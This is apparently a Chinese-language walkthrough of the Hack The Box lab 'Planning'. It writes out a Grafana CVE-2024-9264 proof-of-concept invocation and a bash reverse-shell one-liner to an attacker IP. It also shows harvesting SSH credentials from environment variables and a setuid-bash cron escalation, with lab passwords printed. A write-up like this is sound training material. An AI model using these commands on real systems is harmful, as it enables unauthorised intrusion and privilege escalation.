HTB Planning靶机渗透:Grafana漏洞利用与容器逃逸

本文详细分析了HTB靶机Planning的渗透过程,从Grafana的CVE-2024-9264 SQL注入漏洞利用获得容器内root权限,通过环境变量获取SSH凭证,最终利用Crontab-UI配置漏洞实现主机提权。

HTB: Planning

侦察

初始扫描

Nmap扫描发现两个开放端口:SSH(22)和HTTP(80):

1
2
3
4
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.68
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

根据OpenSSH和nginx版本,主机可能运行Ubuntu 24.04。网站重定向到planning.htb。

初始凭证

模拟真实渗透测试场景,提供了初始凭证:

1
admin / 0D5oT70Fq13EvB5r

子域名爆破

使用ffuf发现子域名grafana.planning.htb:

1
2
oxdf@hacky$ ffuf -u http://10.10.11.68 -H "Host: FUZZ.planning.htb" -w wordlist.txt
grafana [Status: 302]

planning.htb - TCP 80

网站分析

在线教育平台,包含About、Courses、Contact等页面。Contact页面有表单但无功能,Enroll页面可提交数据但无漏洞。

技术栈

网站使用PHP开发,nginx作为Web服务器。目录扫描未发现敏感文件。

grafana.planning.htb

Grafana登录

提供Grafana 11.0.0登录页面,使用初始凭证成功登录。无预配置仪表板。

容器内root权限获取

CVE-2024-9264漏洞利用

漏洞识别

Grafana 11.0.0存在CVE-2024-9264漏洞,DuckDB SQL注入导致远程代码执行。

漏洞利用

使用nollium的POC脚本:

1
2
oxdf@hacky$ git clone https://github.com/nollium/CVE-2024-9264
oxdf@hacky$ uv run CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c id http://grafana.planning.htb

反向Shell

获取容器内root权限:

1
oxdf@hacky$ uv run CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c 'bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"' http://grafana.planning.htb

enzo用户权限

环境变量枚举

容器环境变量中发现SSH凭证:

1
2
GF_SECURITY_ADMIN_USER=enzo
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!

SSH访问

使用凭证成功登录主机:

1
oxdf@hacky$ sshpass -p 'RioTecRANDEntANT!' ssh enzo@planning.htb

root权限获取

枚举发现

Cron任务配置

/opt/crontabs/crontab.db文件中发现备份任务和清理任务:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  "name": "Grafana backup",
  "command": "/usr/bin/docker save root_grafana -o /var/backups/grafana.tar...",
  "schedule": "@daily"
}
{
  "name": "Cleanup", 
  "command": "/root/scripts/cleanup.sh",
  "schedule": "* * * * *"
}

本地服务发现

端口8000运行Crontab-UI服务,需要HTTP基本认证。

Crontab-UI利用

服务访问

通过SSH隧道访问Crontab-UI:

1
ssh -L 9001:localhost:8000 enzo@planning.htb

认证绕过

使用zip密码"P4ssw0rdS0pRi0T3c"和root用户成功登录。

权限提升

创建恶意cron任务:

1
cp /bin/bash /tmp/0xdf && chmod +s /tmp/0xdf

执行获取root权限:

1
2
enzo@planning:~$ /tmp/0xdf -p
0xdf-5.2# cat root.txt

额外发现

Grafana Swagger UI

/swagger-ui端点提供完整API文档,可进行用户管理和其他操作。

Crontab-UI配置

服务配置文件/etc/systemd/system/crontab-ui.service中包含认证凭证:

1
2
Environment="BASIC_AUTH_USER=root"
Environment="BASIC_AUTH_PWD=P4ssw0rdS0pRi0T3c"
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计